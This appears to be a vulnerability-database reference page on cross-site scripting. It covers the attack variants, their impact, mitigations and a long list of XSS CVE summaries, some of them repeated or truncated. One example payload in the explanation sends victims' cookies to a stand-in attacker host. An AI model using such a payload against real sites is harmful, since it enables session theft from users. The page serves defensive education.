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Cross-Site Scripting

web MEDIUM

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

How It Works

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding. The attacker crafts input containing JavaScript code, which the application then incorporates into its HTML response. When a victim's browser renders this response, it executes the injected script as if it were legitimate code from the trusted website.

The attack manifests in three main variants. Reflected XSS occurs when malicious script arrives via an HTTP parameter (like a search query) and immediately bounces back in the response—typically delivered through phishing links. Stored XSS is more dangerous: the payload persists in the application's database (in comment fields, user profiles, forum posts) and executes whenever anyone views the infected content. DOM-based XSS happens entirely client-side when JavaScript code improperly handles user-controllable data, modifying the DOM in unsafe ways without ever sending the payload to the server.

A typical attack flow starts with the attacker identifying an injection point—anywhere user input appears in HTML output. They craft a payload like <script>document.location='http://attacker.com/steal?c='+document.cookie</script> and inject it through the vulnerable parameter. When victims access the page, their browsers execute this script within the security context of the legitimate domain, giving the attacker full access to cookies, session tokens, and DOM content.

Impact

  • Session hijacking: Steal authentication cookies to impersonate victims and access their accounts
  • Credential harvesting: Inject fake login forms on trusted pages to capture usernames and passwords
  • Account takeover: Perform state-changing actions (password changes, fund transfers) as the authenticated victim
  • Keylogging: Monitor and exfiltrate everything users type on the compromised page
  • Phishing and malware distribution: Redirect users to malicious sites or deliver drive-by downloads from a trusted domain
  • Data exfiltration: Access and steal sensitive information visible in the DOM or retrieved via AJAX requests

Real-World Examples

A stored XSS vulnerability in Twitter (2010) allowed attackers to create self-propagating worms. Users hovering over malicious tweets automatically retweeted them and followed the attacker, creating viral spread through the platform's legitimate functionality.

eBay suffered from persistent XSS flaws in product listings (CVE-2015-2880) where attackers embedded malicious scripts in item descriptions. Buyers viewing these listings had their sessions compromised, enabling unauthorized purchases and account takeover.

British Airways faced a sophisticated supply chain attack (2018) where attackers injected JavaScript into the airline's payment page. The script skimmed credit card details from 380,000 transactions, demonstrating how XSS enables payment fraud at massive scale.

Mitigation

  • Context-aware output encoding: HTML-encode for HTML context, JavaScript-encode for JS strings, URL-encode for URLs—never use generic escaping
  • Content Security Policy (CSP): Deploy strict CSP headers to whitelist script sources and block inline JavaScript execution
  • HTTPOnly and Secure cookie flags: Prevent JavaScript access to session cookies and ensure transmission over HTTPS only
  • Input validation: Reject unexpected characters and patterns, though this is defense-in-depth, not primary protection
  • DOM-based XSS prevention: Use safe APIs like textContent instead of innerHTML; avoid passing user data to dangerous sinks like eval()

Recent CVEs (39207)

EPSS 1% CVSS 8.1
HIGH This Week

If a Thunderbird user replied to a crafted HTML email containing a <code>meta</code> tag, with the <code>meta</code> tag having the <code>http-equiv="refresh"</code> attribute, and the content. Rated high severity (CVSS 8.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

Mozilla XSS Thunderbird
NVD
EPSS 1% CVSS 7.5
HIGH This Week

When combining CSS properties for overflow and transform, the mouse cursor could interact with different coordinates than displayed. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

Mozilla XSS Firefox +2
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

SVG <code>&lt;use&gt;</code> tags that referenced a same-origin document could have resulted in script execution if attacker input was sanitized via the HTML Sanitizer API. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

Mozilla XSS Firefox
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

The HTML Sanitizer should have sanitized the <code>href</code> attribute of SVG <code>&lt;use&gt;</code> tags; however it incorrectly did not sanitize <code>xlink:href</code> attributes. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

Mozilla XSS Firefox
NVD
EPSS 1% CVSS 6.5
MEDIUM This Month

An attacker could have injected CSS into stylesheets accessible via internal URIs, such as resource:, and in doing so bypass a page's Content Security Policy. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

Mozilla XSS Firefox +2
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Firefox's HTML parser did not correctly interpret HTML comment tags, resulting in an incongruity with other browsers. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

Mozilla XSS Firefox
NVD
EPSS 1% CVSS 6.5
MEDIUM This Month

When reusing existing popups Firefox would have allowed them to cover the fullscreen notification UI, which could have enabled browser spoofing attacks. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

Mozilla XSS Firefox +2
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

An improper implementation of the new iframe sandbox keyword <code>allow-top-navigation-by-user-activation</code> could lead to script execution without <code>allow-scripts</code> being present. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

Mozilla XSS Firefox +2
NVD
EPSS 1% CVSS 5.4
MEDIUM POC This Month

Due to a layout change, iframe contents could have been rendered outside of its border. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

Mozilla XSS Firefox +2
NVD
EPSS 1% CVSS 6.5
MEDIUM POC This Month

Malicious websites could have confused Firefox into showing the wrong origin when asking to launch a program and handling an external URL protocol. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

Mozilla XSS Firefox +2
NVD
EPSS 1% CVSS 5.4
MEDIUM This Month

Adobe Experience Manager version 6.5.14 (and earlier) is affected by a reflected Cross-Site Scripting (XSS) vulnerability. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

Adobe XSS Experience Manager +1
NVD
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

Cross-site Scripting (XSS) - Stored in GitHub repository microweber/microweber prior to 1.3.2. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity.

XSS Microweber
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM This Month

Inhabit Systems Pty Ltd Move CRM version 4, build 260 was discovered to contain a cross-site scripting (XSS) vulnerability via the User profile component. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Move Crm
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM PATCH This Month

A vulnerability was found in tatoeba2. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity.

XSS Tatoeba2
NVD GitHub VulDB
EPSS 0% CVSS 5.4
MEDIUM POC This Month

A vulnerability has been found in Mingsoft MCMS 5.2.9 and classified as problematic. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Mcms
NVD VulDB
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

A vulnerability classified as problematic was found in collective.contact.widget up to 1.12. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity.

XSS Collective Contact Widget
NVD GitHub VulDB
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

A vulnerability classified as problematic has been found in ep3-bs up to 1.7.x. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Ep 3 Bookingsystem
NVD GitHub VulDB
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

A vulnerability has been found in Auto Upload Images up to 3.3.0 and classified as problematic. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Auto Upload Images
NVD GitHub VulDB
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

A vulnerability, which was classified as problematic, was found in WP-Ban. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity.

PHP XSS Wp Ban
NVD GitHub VulDB
EPSS 1% CVSS 6.1
MEDIUM POC This Month

A Cross site scripting (XSS) vulnerability in Sourcecodester Online Covid-19 Directory on Vaccination System v1.0 allows attackers to execute arbitrary code via the txtfullname parameter or txtphone. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

RCE PHP XSS +1
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM POC This Month

Sourcecodester Covid-19 Directory on Vaccination System 1.0 was discovered to contain a Cross-Site Scripting (XSS) vulnerability via verification.php because the program does not verify the. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Covid 19 Directory On Vaccination System
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM POC This Month

A cross-site scripting (XSS) vulnerability in NdkAdvancedCustomizationFields v3.5.0 allows attackers to execute arbitrary web scripts or HTML via a crafted payloads injected into the "htmlNodes". Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Ndkadvancedcustomizationfields
NVD GitHub VulDB
EPSS 1% CVSS 4.8
MEDIUM This Month

Stored cross-site scripting vulnerability in Zenphoto versions prior to 1.6 allows remote a remote authenticated attacker with an administrative privilege to inject an arbitrary script. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Zenphoto
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM POC PATCH This Month

The package smoothie from 1.31.0 and before 1.36.1 are vulnerable to Cross-site Scripting (XSS) due to improper user input sanitization in strokeStyle and tooltipLabel properties. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

XSS Smoothie Charts
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM POC PATCH This Month

Cross-site Scripting (XSS) - Reflected in GitHub repository microweber/microweber prior to 1.3.2. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

XSS Microweber
NVD GitHub
EPSS 0% CVSS 4.6
MEDIUM PATCH This Month

IBM UrbanCode Deploy (UCD) 6.2.0.0 through 6.2.7.18, 7.0.5.0 through 7.0.5.13, 7.1.0.0 through 7.1.2.9, 7.2.0.0 through 7.2.3.2 and 7.3.0.0 is vulnerable to cross-site scripting. Rated medium severity (CVSS 4.6), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

IBM XSS Urbancode Deploy
NVD
EPSS 0% CVSS 5.5
MEDIUM This Month

The Sidebar Widgets by CodeLights plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘Extra CSS class’ parameter in versions up to, and including, 1.4 due to insufficient input. Rated medium severity (CVSS 5.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS WordPress Codelights Shortcodes And Widgets
NVD VulDB
EPSS 1% CVSS 9.8
CRITICAL POC Act Now

Softr v2.0 was discovered to be vulnerable to HTML injection via the Name field of the Account page. Rated critical severity (CVSS 9.8), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Softr
NVD VulDB
EPSS 0% CVSS 5.4
MEDIUM This Month

Silverware Games is a social network where people can play games online. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Silverwaregames
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

IBM Cognos Analytics 11.2.1, 11.2.0, and 11.1.7 is vulnerable to cross-site scripting. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

IBM XSS Cognos Analytics
NVD
EPSS 1% CVSS 6.1
MEDIUM POC PATCH This Month

Cross-site Scripting (XSS) - Reflected in GitHub repository openemr/openemr prior to 7.0.0.2. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

XSS Openemr
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM POC PATCH This Month

Cross-site Scripting (XSS) - Stored in GitHub repository alagrede/znote-app prior to 1.7.11. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Znote
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM This Month

Adobe Experience Manager version 6.5.14 (and earlier) is affected by a reflected Cross-Site Scripting (XSS) vulnerability. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

Adobe XSS Experience Manager +1
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

Adobe Experience Manager version 6.5.14 (and earlier) is affected by a reflected Cross-Site Scripting (XSS) vulnerability. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

Adobe XSS Experience Manager +1
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

Adobe Experience Manager version 6.5.14 (and earlier) is affected by a reflected Cross-Site Scripting (XSS) vulnerability. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

Adobe XSS Experience Manager +1
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

Adobe Experience Manager version 6.5.14 (and earlier) is affected by a reflected Cross-Site Scripting (XSS) vulnerability. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

Adobe XSS Experience Manager +1
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

Adobe Experience Manager version 6.5.14 (and earlier) is affected by a reflected Cross-Site Scripting (XSS) vulnerability. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

Adobe XSS Experience Manager +1
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

Adobe Experience Manager version 6.5.14 (and earlier) is affected by a reflected Cross-Site Scripting (XSS) vulnerability. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

Adobe XSS Experience Manager +1
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

Adobe Experience Manager version 6.5.14 (and earlier) is affected by a reflected Cross-Site Scripting (XSS) vulnerability. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

Adobe XSS Experience Manager +1
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

Adobe Experience Manager version 6.5.14 (and earlier) is affected by a reflected Cross-Site Scripting (XSS) vulnerability. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

Adobe XSS Experience Manager +1
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

Adobe Experience Manager version 6.5.14 (and earlier) is affected by a reflected Cross-Site Scripting (XSS) vulnerability. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

Adobe XSS Experience Manager +1
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

Adobe Experience Manager version 6.5.14 (and earlier) is affected by a reflected Cross-Site Scripting (XSS) vulnerability. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

Adobe XSS Experience Manager +1
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

Adobe Experience Manager version 6.5.14 (and earlier) is affected by a reflected Cross-Site Scripting (XSS) vulnerability. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

Adobe XSS Experience Manager +1
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

Adobe Experience Manager version 6.5.14 (and earlier) is affected by a reflected Cross-Site Scripting (XSS) vulnerability. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

Adobe XSS Experience Manager +1
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

Adobe Experience Manager version 6.5.14 (and earlier) is affected by a reflected Cross-Site Scripting (XSS) vulnerability. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

Adobe XSS Experience Manager +1
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

Adobe Experience Manager version 6.5.14 (and earlier) is affected by a reflected Cross-Site Scripting (XSS) vulnerability. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

Adobe XSS Experience Manager +1
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

Adobe Experience Manager version 6.5.14 (and earlier) is affected by a reflected Cross-Site Scripting (XSS) vulnerability. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

Adobe XSS Experience Manager +1
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

Adobe Experience Manager version 6.5.14 (and earlier) is affected by a reflected Cross-Site Scripting (XSS) vulnerability. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

Adobe XSS Experience Manager +1
NVD
EPSS 1% CVSS 5.4
MEDIUM This Month

Adobe Experience Manager version 6.5.14 (and earlier) is affected by a reflected Cross-Site Scripting (XSS) vulnerability. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

Adobe XSS Experience Manager +1
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

Adobe Experience Manager version 6.5.14 (and earlier) is affected by a reflected Cross-Site Scripting (XSS) vulnerability. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

Adobe XSS Experience Manager +1
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

Adobe Experience Manager version 6.5.14 (and earlier) is affected by a reflected Cross-Site Scripting (XSS) vulnerability. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

Adobe XSS Experience Manager +1
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

Adobe Experience Manager version 6.5.14 (and earlier) is affected by a reflected Cross-Site Scripting (XSS) vulnerability. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

Adobe XSS Experience Manager +1
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

Adobe Experience Manager version 6.5.14 (and earlier) is affected by a reflected Cross-Site Scripting (XSS) vulnerability. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

Adobe XSS Experience Manager +1
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

Adobe Experience Manager version 6.5.14 (and earlier) is affected by a reflected Cross-Site Scripting (XSS) vulnerability. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

Adobe XSS Experience Manager +1
NVD
EPSS 1% CVSS 4.8
MEDIUM POC This Month

Employee Performance Evaluation System v1.0 was discovered to contain a persistent cross-site scripting (XSS) vulnerability via adding new entries under the Departments and Designations module. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Employee Performance Evaluation System
NVD VulDB
EPSS 0% CVSS 4.3
MEDIUM POC This Month

The Popup Manager WordPress plugin through 1.6.6 does not have authorisation and CSRF check when creating/updating popups, and is missing sanitisation as well as escaping, which could allow. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

CSRF WordPress XSS +1
NVD WPScan
EPSS 1% CVSS 4.8
MEDIUM POC This Month

The Quizlord WordPress plugin through 2.0 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Quizlord
NVD WPScan
EPSS 0% CVSS 5.4
MEDIUM POC This Month

The Photo Gallery by 10Web WordPress plugin before 1.8.3 does not validate and escape some parameters before outputting them back in in JS code later on in another page, which could lead to Stored. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Photo Gallery
NVD WPScan
EPSS 0% CVSS 5.4
MEDIUM POC This Month

The Responsive Lightbox2 WordPress plugin before 1.0.4 does not validate and escape some of its shortcode attributes before outputting them back in the page, which could allow users with a role as. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Responsive Lightbox2
NVD WPScan
EPSS 0% CVSS 5.4
MEDIUM POC This Month

The WP Stripe Checkout WordPress plugin before 1.2.2.21 does not validate and escape some of its shortcode attributes before outputting them back in the page, which could allow users with a role as. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Wp Stripe Checkout
NVD WPScan
EPSS 0% CVSS 5.4
MEDIUM POC This Month

The Videojs HTML5 Player WordPress plugin before 1.1.9 does not validate and escape some of its shortcode attributes before outputting them back in the page, which could allow users with a role as. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Videojs Html5 Player
NVD WPScan
EPSS 0% CVSS 5.4
MEDIUM POC This Month

The Flowplayer Video Player WordPress plugin before 1.0.5 does not validate and escape some of its shortcode attributes before outputting them back in the page, which could allow users with a role as. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Flowplayer Video Player
NVD WPScan
EPSS 0% CVSS 5.4
MEDIUM POC This Month

The Checkout for PayPal WordPress plugin before 1.0.14 does not validate and escape some of its shortcode attributes before outputting them back in the page, which could allow users with a role as. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Checkout For Paypal
NVD WPScan
EPSS 1% CVSS 5.4
MEDIUM POC This Month

The Easy Video Player WordPress plugin before 1.2.2.3 does not sanitize and escapes some parameters, which could allow users with a role as low as Contributor to perform Cross-Site Scripting attacks. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Easy Video Player
NVD WPScan
EPSS 0% CVSS 4.8
MEDIUM POC This Month

The External Media WordPress plugin before 1.0.36 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS External Media
NVD WPScan
EPSS 1% CVSS 5.4
MEDIUM POC PATCH This Month

Cross-site Scripting (XSS) - Stored in GitHub repository usememos/memos prior to 0.9.0. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Memos
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM This Month

Improper Input Validation vulnerability for the xdebug plugin in Apache Software Foundation Apache Traffic Server can lead to cross site scripting and cache poisoning attacks.0.0 to 9.1.3. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

Apache XSS Traffic Server
NVD
EPSS 1% CVSS 5.4
MEDIUM POC This Month

A vulnerability, which was classified as problematic, was found in Click Studios Passwordstate and Passwordstate Browser Extension Chrome. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

Google XSS Passwordstate
NVD VulDB
EPSS 0% CVSS 5.4
MEDIUM This Month

In HCL Digital Experience, customized XSS payload can be constructed such that it is served in the application unencoded. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Digital Experience
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

Cross-site scripting vulnerability in DENSHI NYUSATSU CORE SYSTEM v6 R4 and earlier allows a remote unauthenticated attacker to inject an arbitrary script. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Electronic Bidding Core System
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

Cross-site scripting vulnerability in DENSHI NYUSATSU CORE SYSTEM v6 R4 and earlier allows a remote unauthenticated attacker to inject an arbitrary script. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Electronic Bidding Core System
NVD
EPSS 1% CVSS 5.4
MEDIUM POC PATCH This Month

Cross-site Scripting (XSS) - Stored in GitHub repository flatpressblog/flatpress prior to 1.3. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Flatpress
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM This Month

A vulnerability was found in Shoplazza LifeStyle 1.1. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Lifestyle
NVD VulDB
EPSS 1% CVSS 5.4
MEDIUM This Month

A vulnerability was found in Shoplazza LifeStyle 1.1. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Lifestyle
NVD VulDB
EPSS 1% CVSS 5.4
MEDIUM This Month

A vulnerability was found in Shoplazza LifeStyle 1.1. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Lifestyle
NVD VulDB
EPSS 1% CVSS 5.4
MEDIUM This Month

A vulnerability was found in Shoplazza LifeStyle 1.1 and classified as problematic. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Lifestyle
NVD VulDB
EPSS 1% CVSS 5.4
MEDIUM This Month

A vulnerability has been found in Shoplazza LifeStyle 1.1 and classified as problematic. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Lifestyle
NVD VulDB
EPSS 1% CVSS 5.4
MEDIUM POC This Month

A vulnerability, which was classified as problematic, was found in Shoplazza LifeStyle 1.1. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Lifestyle
NVD VulDB
EPSS 1% CVSS 5.4
MEDIUM POC This Month

A vulnerability, which was classified as problematic, has been found in Shoplazza 1.1. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Lifestyle
NVD VulDB
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

A vulnerability classified as problematic has been found in django-openipam. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity.

Python XSS Django Openipam
NVD GitHub VulDB
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

A vulnerability was found in retra-system. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity.

XSS Retra System
NVD GitHub VulDB
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

A vulnerability was found in mschaef toto up to 1.4.20. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity.

XSS Toto
NVD GitHub VulDB
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

A vulnerability was found in mschaef toto up to 1.4.20. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity.

XSS Toto
NVD GitHub VulDB
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

A vulnerability, which was classified as problematic, was found in Boston Sleep slice up to 84.1.x. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Slice
NVD GitHub VulDB
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

A vulnerability, which was classified as problematic, has been found in Opencaching Deutschland oc-server3.tpl of the component Login Page. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity.

XSS Oc Server3
NVD GitHub VulDB
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

A vulnerability classified as problematic was found in Opencaching Deutschland oc-server3. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity.

XSS Oc Server3
NVD GitHub VulDB
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

A vulnerability classified as problematic has been found in Opencaching Deutschland oc-server3. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity.

XSS Oc Server3
NVD VulDB GitHub
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

A vulnerability was found in starter-public-edition-4 up to 4.6.10. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity.

XSS Starter Public Edition 4
NVD GitHub VulDB
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

A vulnerability was found in 1j01 mind-map and classified as problematic.coffee. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity.

XSS Mind Map
NVD GitHub VulDB
EPSS 1% CVSS 6.1
MEDIUM This Month

Rockwell Automation was made aware of a vulnerability by a security researcher from Georgia Institute of Technology that the MicroLogix 1100 and 1400 controllers contain a vulnerability that may give. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

RCE Rockwell XSS +5
NVD
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Quick Facts

Typical Severity
MEDIUM
Category
web
Total CVEs
39207

Related CWEs

MITRE ATT&CK

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